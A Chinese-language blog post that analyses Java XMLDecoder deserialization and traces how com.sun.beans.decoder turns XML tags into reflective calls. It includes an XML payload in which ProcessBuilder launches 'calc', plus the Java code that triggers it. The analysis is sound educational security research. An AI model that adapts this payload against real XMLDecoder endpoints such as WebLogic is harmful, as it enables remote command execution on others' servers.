Java XMLDecoder反序列化分析

Share on:

XMLDecoder解析造成的问题

简介

XMLDecoder是java自带的以SAX方式解析xml的类,其在反序列化经过特殊构造的数据时可执行任意命令。在Weblogic中由于多个包wls-wastwls9_async_response war_async使用了该类进行反序列化操作,出现了了多个RCE漏洞。

本文不会讲解weblogic的xml相关的洞,只是分析下Java中xml反序列化的流程,采用JDK2U21。

什么是SAX

SAX全称为Simple API for XML,在Java中有两种原生解析xml的方式,分别是SAX和DOM。两者区别在于:

  1. Dom解析功能强大,可增删改查,操作时会将xml文档以文档对象的方式读取到内存中,因此适用于小文档
  2. Sax解析是从头到尾逐行逐个元素读取内容,修改较为不便,但适用于只读的大文档

SAX采用事件驱动的形式来解析xml文档,简单来讲就是触发了事件就去做事件对应的回调方法。

在SAX中,读取到文档开头、结尾,元素的开头和结尾以及编码转换等操作时会触发一些回调方法,你可以在这些回调方法中进行相应事件处理:

  • startDocument()
  • endDocument()
  • startElement()
  • endElement()
  • characters()

自己实现一个基于SAX的解析可以帮我们更好的理解XMLDecoder

 1package com.xml.java;
 2
 3import org.xml.sax.Attributes;
 4import org.xml.sax.SAXException;
 5import org.xml.sax.helpers.DefaultHandler;
 6
 7import javax.xml.parsers.SAXParser;
 8import javax.xml.parsers.SAXParserFactory;
 9import java.io.File;
10
11public class DemoHandler extends DefaultHandler {
12    public static void main(String[] args) {
13        SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
14        try {
15            SAXParser parser = saxParserFactory.newSAXParser();
16            DemoHandler dh = new DemoHandler();
17            String path = "src/main/resources/calc.xml";
18            File file = new File(path);
19            parser.parse(file, dh);
20        } catch (Exception e) {
21            e.printStackTrace();
22        }
23    }
24
25    @Override
26    public void characters(char[] ch, int start, int length) throws SAXException {
27        System.out.println("characters()");
28        super.characters(ch, start, length);
29    }
30
31    @Override
32    public void startDocument() throws SAXException {
33        System.out.println("startDocument()");
34        super.startDocument();
35    }
36
37    @Override
38    public void endDocument() throws SAXException {
39        System.out.println("endDocument()");
40        super.endDocument();
41    }
42
43    @Override
44    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
45        System.out.println("startElement()");
46        for (int i = 0; i < attributes.getLength(); i++) {
47            // getQName()是获取属性名称,
48            System.out.print(attributes.getQName(i) + "=\"" + attributes.getValue(i) + "\"\n");
49        }
50        super.startElement(uri, localName, qName, attributes);
51    }
52
53    @Override
54    public void endElement(String uri, String localName, String qName) throws SAXException {
55        System.out.println("endElement()");
56        System.out.println(uri + localName + qName);
57        super.endElement(uri, localName, qName);
58    }
59}

输出了

 1startDocument()
 2startElement()
 3characters()
 4startElement()
 5class="java.lang.ProcessBuilder"
 6characters()
 7startElement()
 8class="java.lang.String"
 9length="1"
10characters()
11startElement()
12index="0"
13characters()
14startElement()
15characters()
16endElement()
17string
18characters()
19endElement()
20void
21characters()
22endElement()
23array
24characters()
25startElement()
26method="start"
27endElement()
28void
29characters()
30endElement()
31object
32characters()
33endElement()
34java
35endDocument()

可以看到,我们通过继承SAX的DefaultHandler类,重写其事件方法,就能拿到XML对应的节点、属性和值。那么XMLDecoder也是基于SAX实现的xml解析,不过他拿到节点、属性、值之后通过Expression创建对象及调用方法。接下来我们就来分析下XMLDecoder将XML解析为对象的过程。

XMLDecoder反序列化分析

所有的xml处理代码均在com.sun.beans.decoder包下。先弹一个计算器

 1<java>
 2    <object class="java.lang.ProcessBuilder">
 3        <array class="java.lang.String" length="1" >
 4            <void index="0">
 5                <string>calc</string>
 6            </void>
 7        </array>
 8        <void method="start"/>
 9    </object>
10</java>
 1package com.xml.java;
 2
 3import java.beans.XMLDecoder;
 4import java.io.BufferedInputStream;
 5import java.io.File;
 6import java.io.FileInputStream;
 7import java.io.FileNotFoundException;
 8
 9public class Main {
10    public static void main(String[] args) {
11        String path = "src/main/resources/calc.xml";
12        File file = new File(path);
13        FileInputStream fis = null;
14        try {
15            fis = new FileInputStream(file);
16        } catch (FileNotFoundException e) {
17            e.printStackTrace();
18        }
19        BufferedInputStream bis = new BufferedInputStream(fis);
20        XMLDecoder xmlDecoder = new XMLDecoder(bis);
21        xmlDecoder.readObject();
22        xmlDecoder.close();
23    }
24}

运行弹出计算器,在java.lang.ProcessBuilder#start打断点,堆栈如下:

 1start:1006, ProcessBuilder (java.lang)
 2invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 3invoke:57, NativeMethodAccessorImpl (sun.reflect)
 4invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 5invoke:601, Method (java.lang.reflect)
 6invoke:75, Trampoline (sun.reflect.misc)
 7invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 8invoke:57, NativeMethodAccessorImpl (sun.reflect)
 9invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
10invoke:601, Method (java.lang.reflect)
11invoke:279, MethodUtil (sun.reflect.misc)
12invokeInternal:292, Statement (java.beans)
13access$000:58, Statement (java.beans)
14run:185, Statement$2 (java.beans)
15doPrivileged:-1, AccessController (java.security)
16invoke:182, Statement (java.beans)
17getValue:153, Expression (java.beans)
18getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
19getValueObject:123, NewElementHandler (com.sun.beans.decoder)
20endElement:169, ElementHandler (com.sun.beans.decoder)
21endElement:309, DocumentHandler (com.sun.beans.decoder)
22endElement:606, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
23emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
24scanStartElement:1303, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
25next:2717, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
26next:607, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
27scanDocument:489, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
28parse:835, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
29parse:764, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
30parse:123, XMLParser (com.sun.org.apache.xerces.internal.parsers)
31parse:1210, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
32parse:568, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
33parse:302, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
34run:366, DocumentHandler$1 (com.sun.beans.decoder)
35run:363, DocumentHandler$1 (com.sun.beans.decoder)
36doPrivileged:-1, AccessController (java.security)
37doIntersectionPrivilege:76, ProtectionDomain$1 (java.security)
38parse:363, DocumentHandler (com.sun.beans.decoder)
39run:201, XMLDecoder$1 (java.beans)
40run:199, XMLDecoder$1 (java.beans)
41doPrivileged:-1, AccessController (java.security)
42parsingComplete:199, XMLDecoder (java.beans)
43readObject:250, XMLDecoder (java.beans)
44main:21, Main (com.xml.java)

XMLDecoder跟进readObject() image.png

跟进parsingComplete() image.png

其中this.handlerDocumentHandler image.png

到这里进入com.sun.beans.decoder.DocumentHandler#parse

image.png

圈住的代码其实和我们写的DemoHandler里一模一样,通过SAXParserFactory工厂创建了实例,进而newSAXParser拿到SAX解析器,调用parse解析,那么接下来解析的过程,我们只需要关注DocumentHandler的几个事件函数就行了。

DocumentHandler的构造函数中指定了可用的标签类型 image.png

对应了com.sun.beans.decoder包中的几个类 image.png

在startElement中首先解析java标签,然后设置Owner和Parent。 image.png

this.getElementHandler(var3)对应的就是从构造方法中放入this.handlers的hashmap取出对应的值,如果不是构造方法中的标签,会抛出异常。 image.png

然后解析object标签,拿到属性之后通过addAttribute()设置属性 image.png

在addAttribute()没有对class属性进行处理,抛给了父类com.sun.beans.decoder.NewElementHandler#addAttribute image.png

会通过findClass()去寻找java.lang.ProcessBuilderimage.png

通过classloader寻找类赋值给type image.png

赋值完之后跳出for循环进入this.handler.startElement(),不满足条件。 image.png

接下来解析array标签,同样使用addAttribute对属性赋值 image.png

同样抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute处理 image.png

继续抛给父类com.sun.beans.decoder.NewElementHandler#addAttribute image.png

接下来继续设置length属性 image.png

最后进入com.sun.beans.decoder.ArrayElementHandler#startElement image.png

因为ArrayElementHandler类没有0个参数的getValueObject()重载方法,但是它继承了NewElementHandler,所以调用com.sun.beans.decoder.NewElementHandler#getValueObject() image.png

这个getValueObject重新调用ArrayElementHandler#getValueObject两个参数的重载方法 image.png

ValueObjectImpl.create(Array.newInstance(var1, this.length))创建了长度为1、类型为String的数组并返回,到此处理完array标签。

接着处理void,创建VoidElementHandler,设置setOwner和setParent。 image.png

调用父类com.sun.beans.decoder.ObjectElementHandler#addAttribute设置index属性 image.png image.png

继续解析string标签,不再赘述。

解析完所有的开始标签之后,开始解析闭合标签,最开始就是,进入到endElement() image.png

StringElementHandler没有endElement(),调用父类ElementHandler的endElement() image.png

调用本类的getValueObject() image.png 设置value为calc。

接着闭合void image.png

闭合array image.png

然后开始解析<void method="start"/> image.png

通过父类的addAttribute将this.method赋值为start image.png

随后闭合void标签 image.png

调用endElementVoidElementHandler类没有,所以调用父类ObjectElementHandler.endElement image.png

调用NewElementHandler类无参getValueObject image.png

然后调用VoidElementHandler类有参getValueObject,但是VoidElementHandler没有这个方法,所以调用VoidElementHandler父类ObjectElementHandler的有参getValueObject

 1protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
 2        if (this.field != null) {
 3            return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
 4        } else if (this.idref != null) {
 5            return ValueObjectImpl.create(this.getVariable(this.idref));
 6        } else {
 7            Object var3 = this.getContextBean();
 8            String var4;
 9            if (this.index != null) {
10                var4 = var2.length == 2 ? "set" : "get";
11            } else if (this.property != null) {
12                var4 = var2.length == 1 ? "set" : "get";
13                if (0 < this.property.length()) {
14                    var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
15                }
16            } else {
17                var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
18            }
19
20            Expression var5 = new Expression(var3, var4, var2);
21            return ValueObjectImpl.create(var5.getValue());
22        }
23    }

跟进Object var3 = this.getContextBean(),因为本类没有getContextBean(),所以调用父类NewElementHandler的getContextBean() image.png

继续调用NewElementHandler父类ElementHandler的getContextBean() image.png

会调用this.parent.getValueObject()也就是ObjectElementHandler类,而ObjectElementHandler没有无参getValueObject()方法,会调用其父类NewElementHandler的方法 image.png 然后将值赋值给value返回

最终var3的值为java.lang.ProcessBuilderimage.png

var4赋值为start image.png

通过Expression的getValue()方法反射调用start,弹出计算器。

Expression和Statement

两者都是Java对反射的封装,举个例子

 1package com.xml.java.beans;
 2
 3public class User {
 4    private int id;
 5    private String name;
 6
 7    @Override
 8    public String toString() {
 9        return "User{" +
10                "id=" + id +
11                ", name='" + name + '\'' +
12                '}';
13    }
14
15    public int getId() {
16        return id;
17    }
18
19    public void setId(int id) {
20        this.id = id;
21    }
22
23    public String getName() {
24        return name;
25    }
26
27    public void setName(String name) {
28        this.name = name;
29    }
30
31    public String sayHello(String name) {
32        return String.format("你好 %s!", name);
33    }
34}
 1package com.xml.java;
 2
 3import com.xml.java.beans.User;
 4
 5import java.beans.Expression;
 6import java.beans.Statement;
 7
 8public class TestMain {
 9    public static void main(String[] args) {
10        testStatement();
11        testExpression();
12    }
13
14    public static void testStatement() {
15        try {
16            User user = new User();
17            Statement statement = new Statement(user, "setName", new Object[]{"张三"});
18            statement.execute();
19            System.out.println(user.getName());
20        } catch (Exception e) {
21            e.printStackTrace();
22        }
23    }
24
25    public static void testExpression() {
26        try {
27            User user = new User();
28            Expression expression = new Expression(user, "sayHello", new Object[]{"小明"});
29            expression.execute();
30            System.out.println(expression.getValue());
31        } catch (Exception e) {
32            e.printStackTrace();
33        }
34    }
35}

运行结果

1张三
2你好 小明!

Expression是可以获得返回值的,方法是getValue()。Statement不能获得返回值。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。